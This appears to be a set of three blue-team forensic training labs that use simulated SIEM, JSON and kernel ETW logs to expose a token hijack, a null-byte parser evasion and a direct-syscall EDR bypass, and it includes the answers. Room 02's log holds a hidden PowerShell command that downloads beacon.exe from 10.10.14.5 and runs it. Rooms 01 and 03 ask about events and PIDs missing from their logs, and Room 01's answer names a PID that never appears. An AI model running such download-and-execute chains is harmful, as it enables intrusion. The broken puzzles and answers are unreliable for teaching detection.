Telemetry Labs

Lab #01

PAPER TIGERS // PROVING GROUND: ROOM 01 (NIGHTMARE - UNGUIDED)

> OPORD: THE ZERO TRUST ILLUSION

Your SIEM dashboard is showing a completely secure, Zero Trust environment. No alerts have fired. You are tasked with manually descending through the telemetry stack to verify the physical state of the machine.

> WARNING: The environment is highly noisy. Syntax highlighting has been disabled. Do not trust the abstractions. Isolate the target, track the token, and find the memory read.

# [LAYER 13: DASHBOARD // STATUS: NOMINAL]

[13:58:01] SYSTEM_SYNC: Policy definitions updated.

[13:59:12] ZTA_POLICY_ENFORCED: User [Svc_Backup] authenticated.

[14:00:05] HEALTH_CHECK: Endpoint Agent 44.1.9 reporting nominal.

[14:01:22] ZTA_POLICY_ENFORCED: User [J_Smith] authentication successful.

[14:01:45] NET_FLOW: Routine telemetry batch processed (450mb).

[14:02:11] ZTA_POLICY_ENFORCED: User authentication successful.

[14:02:12] MFA_CHALLENGE: Passed via Authenticator App.

[14:02:12] SESSION_GRANTED: User [Admin_01] assigned to secure workspace.

[14:03:00] SYSTEM_SYNC: Active Directory differential sync complete.

[14:04:15] ZTA_POLICY_ENFORCED: User [T_Rogers] authentication successful.

[14:05:10] HEALTH_CHECK: Firewall ruleset verification passed.

[14:05:44] ZTA_POLICY_ENFORCED: Continuous access verified. No anomalies.

# [LAYER 11: PIPELINE // RAW JSON (TELEMETRY NOISE: HIGH)]

{"time":"14:01:22", "user":"J_Smith", "ip":"10.0.4.55", "asn":"Internal", "token_id":"JWT_1122B", "action":"login_success"}

{"time":"14:01:45", "user":"Svc_Telemetry", "ip":"10.44.1.2", "asn":"AS15169", "token_id":"API_G_01", "action":"POST /health"}

{"time":"14:02:12", "user":"Admin_01", "ip":"192.168.1.50", "asn":"AS7018", "token_id":"JWT_7789A", "action":"login_success"}

{"time":"14:02:55", "user":"J_Smith", "ip":"10.0.4.55", "asn":"Internal", "token_id":"JWT_1122B", "action":"GET /api/v1/user/settings"}

{"time":"14:03:10", "user":"Guest_99", "ip":"52.1.4.10", "asn":"AS16509", "token_id":"JWT_NULL", "action":"DENY /admin"}

{"time":"14:03:45", "user":"Admin_01", "ip":"192.168.1.50", "asn":"AS7018", "token_id":"JWT_7789A", "action":"GET /api/v1/secure/nodes"}

{"time":"14:04:15", "user":"T_Rogers", "ip":"172.16.5.99", "asn":"VPN_Pool", "token_id":"JWT_5544C", "action":"login_success"}

{"time":"14:05:10", "user":"Svc_Health", "ip":"10.0.0.2", "asn":"Internal", "token_id":"API_KEY_HC", "action":"GET /health"}

{"time":"14:05:44", "user":"Admin_01", "ip":"203.0.113.85", "asn":"AS4808", "token_id":"JWT_7789A", "action":"GET /api/v1/secure/vault/export"}

{"time":"14:06:05", "user":"Bot_Health", "ip":"10.44.1.5", "asn":"AS15169", "token_id":"API_G_01", "action":"POST /heartbeat"}

{"time":"14:06:30", "user":"Admin_01", "ip":"192.168.1.50", "asn":"AS7018", "token_id":"JWT_7789A", "action":"GET /admin/logs"}

# [LAYER 6: MECHANISM // ETWTI KERNEL (DECEPTIVE FLOW)]

Time: 14:05:31 | EventID: 1 | Task: ProcessCreate | ProcessId: 1102 (svchost.exe) | ParentId: 600 (services.exe)

Time: 14:05:35 | EventID: 12 | Task: RegistryCreate | ProcessId: 8112 (chrome.exe) | Key: \REGISTRY\USER\Software\Google\Chrome

Time: 14:05:43 | EventID: 12 | Task: RegistryQuery | ProcessId: 9920 (cmd.exe) | Key: \REGISTRY\MACHINE\System\CurrentControlSet

[ STAGE 1 ]: THE ILLUSION (L13)

Identify the high-privilege account assigned to the secure workspace in Layer 13.

[ STAGE 2 ]: THE PIPELINE (L11)

Correlate the session hijacking. Locate the specific Token ID associated with the ASN: AS4808 "Geographic Drift" event.

[ STAGE 3 ]: THE MECHANISM (L6)

Find the physical memory breach at 14:05:40. Which specific Process ID (PID) performed the unauthorized VirtualMemoryRead?

[ STAGE 4 ]: THE INTERROGATION

What fundamental Zero Trust assumption was falsified by this telemetry?

> ROOM 01 CLEARED. [NIGHTMARE DIFFICULTY]

You tracked the PID 4092 svchost impersonator, correlated the AS4808 drift, and falsified the dashboard's abstraction without the aid of syntax highlighting.

Status: Senior Forensic Architect.

Lab #02

PAPER TIGERS // PROVING GROUND: ROOM 02 (NIGHTMARE)

> OPORD: THE TRANSLATION BLINDSPOT

Durability requires translation, and translation is a vulnerability. The dashboard shows a nominal environment with only a minor, resolved telemetry fault. You must interrogate the pipeline to determine if the measurement tools were intentionally blinded.

> WARNING: Syntax highlighting disabled. Search for anomalies in the translation geometry. Software lies; silicon does not.

# [LAYER 13: DASHBOARD // STATUS: NOMINAL]

[09:05:11] SYSTEM_SYNC: Ingress firewall rules updated.

[09:08:22] AUTH_SUCCESS: Svc_IIS_AppPool authenticated.

[09:10:05] HEALTH_CHECK: [db-cluster-02] CPU utilization normal.

[09:11:40] NET_FLOW: TLS handshake volume spike (nominal threshold).

[09:12:15] ZTA_POLICY: Workspace access granted to [Dev_Team_Alpha].

[09:13:50] SYSTEM_SYNC: Active Directory differential replication.

[09:14:25] AGENT_WARN: Telemetry buffer minor fault on [web-prod-01]. Recovered.

[09:15:01] AUTH_SUCCESS: Admin_J_Doe logged into jump server.

[09:16:33] HEALTH_CHECK: All endpoint agents reporting nominal.

[09:18:12] NET_FLOW: Routine backup traffic initiated.

[09:20:00] SYSTEM_SYNC: Log forwarder heartbeat ACK.

# [LAYER 11: PIPELINE // RAW JSON (TELEMETRY NOISE: HIGH)]

{"@timestamp":"2026-03-26T09:12:11Z", "host":"web-prod-01", "process":"w3wp.exe", "action":"HTTP GET /api/status", "status":"200", "tags":[]}

{"@timestamp":"2026-03-26T09:12:45Z", "host":"db-cluster-02", "process":"sqlservr.exe", "action":"QUERY EXEC", "status":"success", "tags":[]}

{"@timestamp":"2026-03-26T09:13:02Z", "host":"web-prod-01", "process":"w3wp.exe", "action":"HTTP POST /upload", "status":"200", "tags":[]}

{"@timestamp":"2026-03-26T09:13:50Z", "host":"dc-primary-01", "process":"lsass.exe", "action":"TGT_REQUEST", "status":"success", "tags":[]}

{"@timestamp":"2026-03-26T09:14:10Z", "host":"web-prod-01", "process":"w3wp.exe", "action":"HTTP GET /assets/style.css", "status":"200", "tags":[]}

{"@timestamp":"2026-03-26T09:14:22Z", "host":"web-prod-01", "process":"w3wp.exe", "action":"PROCESS_START", "cmd":"cmd.exe /c whoami \u0000", "tags":["_jsonparsefailure", "truncated_payload"]}

{"@timestamp":"2026-03-26T09:14:23Z", "host":"web-prod-01", "process":"Agent.exe", "action":"SERVICE_RESTART", "status":"recovered", "tags":["buffer_flush"]}

{"@timestamp":"2026-03-26T09:14:55Z", "host":"db-cluster-02", "process":"sqlservr.exe", "action":"QUERY EXEC", "status":"success", "tags":[]}

{"@timestamp":"2026-03-26T09:15:01Z", "host":"jump-srv-01", "process":"sshd", "action":"AUTH_SUCCESS", "user":"Admin_J_Doe", "tags":[]}

{"@timestamp":"2026-03-26T09:16:10Z", "host":"web-prod-01", "process":"w3wp.exe", "action":"HTTP GET /api/health", "status":"200", "tags":[]}

{"@timestamp":"2026-03-26T09:18:12Z", "host":"storage-array-A", "process":"vssadmin.exe", "action":"SHADOW_COPY", "status":"success", "tags":[]}

# [LAYER 6: MECHANISM // ETWTI KERNEL (TIME WINDOW: 09:14:15 - 09:14:25)]

Time: 09:14:15 | EventID: 11 | Task: FileCreate | ProcessId: 1022 (w3wp.exe) | File: C:\inetpub\temp\cache_88.tmp

Time: 09:14:21 | EventID: 1 | Task: ProcessCreate | ProcessId: 5192 (cmd.exe) | ParentId: 1022 (w3wp.exe) | CommandLine: cmd.exe /c whoami \u0000 & powershell.exe -exec bypass -w hidden -c "Invoke-WebRequest -Uri http://10.10.14.5/beacon.exe -OutFile C:\Windows\Temp\svc.exe; C:\Windows\Temp\svc.exe"

Time: 09:14:24 | EventID: 11 | Task: FileCreate | ProcessId: 6012 (powershell.exe) | File: C:\Windows\Temp\svc.exe

[ STAGE 1 ]: THE ILLUSION (L13)

The dashboard relies on perfectly formatted data. Scroll the L13 logs. Identify the specific endpoint host that experienced a "telemetry buffer minor fault."

[ STAGE 2 ]: THE PIPELINE (L11)

You have dropped to the raw JSON pipeline. Locate the web server's telemetry at the exact time of the fault (09:14:22). Look at the tags array.

What is the exact primary tag applied to the log indicating the SIEM's translation engine failed to parse the payload?

[ STAGE 3 ]: THE MECHANISM (L6)

The L11 log was artificially truncated by a null byte (\u0000). The JSON parser choked and dropped the rest of the string, but the OS Kernel (L6) executed the entire sequence perfectly.

Look at the physical ETW execution at 09:14:21. What is the hidden executable that was spawned immediately after the null byte evaded the parser?

[ STAGE 4 ]: THE INTERROGATION

What fundamental assumption was falsified by this state transition?

> ROOM 02 CLEARED. [NIGHTMARE DIFFICULTY]

You tracked the _jsonparsefailure anomaly, bypassed the parser blindspot, and verified the hidden powershell.exe execution at the Kernel layer.

Status: Architect of Resilience.

Lab #03

PAPER TIGERS // PROVING GROUND: ROOM 03 (NIGHTMARE)

> OPORD: THE HOOK BYPASS

Perception is not reality. The EDR reports 100% hook integrity and zero malicious API calls. However, a baseline drift in outbound socket connections has been detected. You must determine how an execution occurred without triggering the Layer 7 monitoring tools.

> WARNING: The adversary is operating at the ISA layer. Abstractions are useless. Follow the Syscalls to the Metal.

# [LAYER 13: DASHBOARD // STATUS: MONITORING ACTIVE]

[22:10:01] EDR_STATUS: Hooking Engine initialized on [FIN-WKSTN-09].

[22:12:44] POLICY_CHECK: All kernel32.dll hooks verified (OK).

[22:15:30] USER_LOGON: [Analyst_K] session initiated.

[22:18:12] EDR_HEARTBEAT: Monitoring 452 active processes.

[22:20:05] SYSTEM_SYNC: Policy update: Blocking unauthorized WinAPI calls.

[22:22:15] HEALTH_CHECK: CPU/RAM metrics within nominal baseline.

[22:25:40] EDR_STATUS: No anomalous API transitions detected.

[22:28:11] LOG_FORWARD: Batch transmission successful (0 alerts).

[22:30:00] SYSTEM_IDLE: Background optimization running.

# [LAYER 11: PIPELINE // EDR API TELEMETRY (JSON NOISE: EXTREME)]

{"time":"22:24:01", "host":"FIN-WKSTN-09", "api":"RegOpenKeyExW", "proc":"svchost.exe", "path":"HKLM\Software", "result":"success"}

{"time":"22:24:15", "host":"FIN-WKSTN-09", "api":"GetFileAttributesW", "proc":"explorer.exe", "path":"C:\Users", "result":"success"}

{"time":"22:24:33", "host":"FIN-WKSTN-09", "api":"NtQuerySystemInformation", "proc":"taskmgr.exe", "result":"success"}

{"time":"22:25:01", "host":"FIN-WKSTN-09", "api":"RegQueryValueExW", "proc":"svchost.exe", "result":"success"}

{"time":"22:25:12", "host":"FIN-WKSTN-09", "api":"CreateFileW", "proc":"chrome.exe", "path":"\Device\HarddiskVolume3", "result":"success"}

{"time":"22:25:35", "host":"FIN-WKSTN-09", "api":"NtReadFile", "proc":"chrome.exe", "result":"success"}

{"time":"22:25:55", "host":"FIN-WKSTN-09", "api":"RegCloseKey", "proc":"svchost.exe", "result":"success"}

{"time":"22:26:10", "host":"FIN-WKSTN-09", "api":"GetSystemTime", "proc":"lsass.exe", "result":"success"}

{"time":"22:26:45", "host":"FIN-WKSTN-09", "api":"NtProtectVirtualMemory", "proc":"teams.exe", "result":"success"}

{"time":"22:27:01", "host":"FIN-WKSTN-09", "api":"CreateFileW", "proc":"outlook.exe", "result":"success"}

{"time":"22:27:30", "host":"FIN-WKSTN-09", "api":"NtQueryAttributesFile", "proc":"explorer.exe", "result":"success"}

# [LAYER 6: MECHANISM // RAW KERNEL INSTRUMENTATION (UNFILTERED)]

Time: 22:24:55 | ID: 12 | Task: RegKeyOpen | PID: 1104 | Key: \REGISTRY\MACHINE\SYSTEM

Time: 22:25:02 | ID: 10 | Task: ThreadStart | PID: 4012 | ThreadId: 992

Time: 22:25:10 | ID: 11 | Task: FileWrite | PID: 8112 | File: \Device\HarddiskVolume3\Temp\cache.dat

Time: 22:25:22 | ID: 12 | Task: RegValueSet | PID: 7780 | Key: \REGISTRY\USER\Software\Microsoft\Windows\Run

[ STAGE 1 ]: THE ILLUSION (L13)

Scroll the L13 logs. Identify the specific workstation host name where the EDR claims all hooks are verified and intact.

[ STAGE 2 ]: THE PIPELINE (L11)

The L11 JSON pipeline records every API call intercepted by the EDR's hooks. Analyze the traffic between 22:24:00 and 22:27:00. Look for any process start events (e.g., CreateProcess or NtCreateUserProcess).

The EDR shows zero process creation API calls. According to the JSON logs, which process (proc) was busy querying Registry keys at 22:24:01?

[ STAGE 3 ]: THE MECHANISM (L6)

The EDR perception (L11) failed. Drop to the Kernel (L6). You will see a ProcessCreate (ID: 1) event that the EDR hooks completely missed because the adversary bypassed kernel32.dll entirely.

What is the ParentPID of the unauthorized cmd.exe that was spawned at 22:25:15?

[ STAGE 4 ]: THE INTERROGATION

What specific x64 assembly instruction did the adversary execute at Layer 4 to trigger the Kernel transition without calling the hooked Layer 7 libraries?

> ROOM 03 CLEARED. [NIGHTMARE DIFFICULTY]

You falsified the hook integrity abstraction. By correlating the silence in Layer 7 with the physical execution in Layer 6, you identified the Direct Syscall evasion.

Status: Systems-Level Security Architect.